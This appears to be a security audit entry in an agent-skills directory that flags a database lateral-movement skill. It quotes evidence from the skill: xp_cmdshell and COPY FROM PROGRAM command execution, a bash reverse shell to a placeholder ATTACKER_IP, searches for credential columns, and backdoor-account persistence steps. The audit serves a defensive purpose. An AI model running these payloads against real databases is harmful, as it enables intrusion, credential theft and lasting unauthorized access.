The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides explicit instructions for executing system-level commands through various database engines.
Evidence in references/dblink-lateral.md: PostgreSQL COPY FROM PROGRAM 'id' and MSSQL EXEC ('xp_cmdshell ''whoami''').
[REMOTE_CODE_EXECUTION]: The skill includes instructions for establishing reverse shells to gain full system control.
Evidence in references/dblink-lateral.md: $$COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'$$.
[DATA_EXFILTRATION]: Instructions cover scanning databases for sensitive credentials, secrets, and tokens to facilitate further attacks.
Evidence in SKILL.md: Queries targeting information_schema.columns for pass, secret, and token patterns.
[PRIVILEGE_ESCALATION]: The skill guides the user to check for and utilize high-privilege accounts (superuser, sa, root) to enable restricted extensions like dblink or xp_cmdshell.
Evidence in SKILL.md: "当前是 superuser/sa/root 吗？（非特权用户通常无法创建 dblink）".
[PERSISTENCE]: The skill mentions creating backdoor accounts and triggers to maintain access to compromised database environments.
Evidence in SKILL.md: Phase 4 instructions include "持久化 — 创建后门账号、触发器".
[INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface as it is designed to ingest and process data from untrusted external databases.
Evidence in references/dblink-lateral.md: Use of dblink and postgres_fdw to import and query schemas from remote, potentially attacker-controlled, servers.

database-lateral-pivot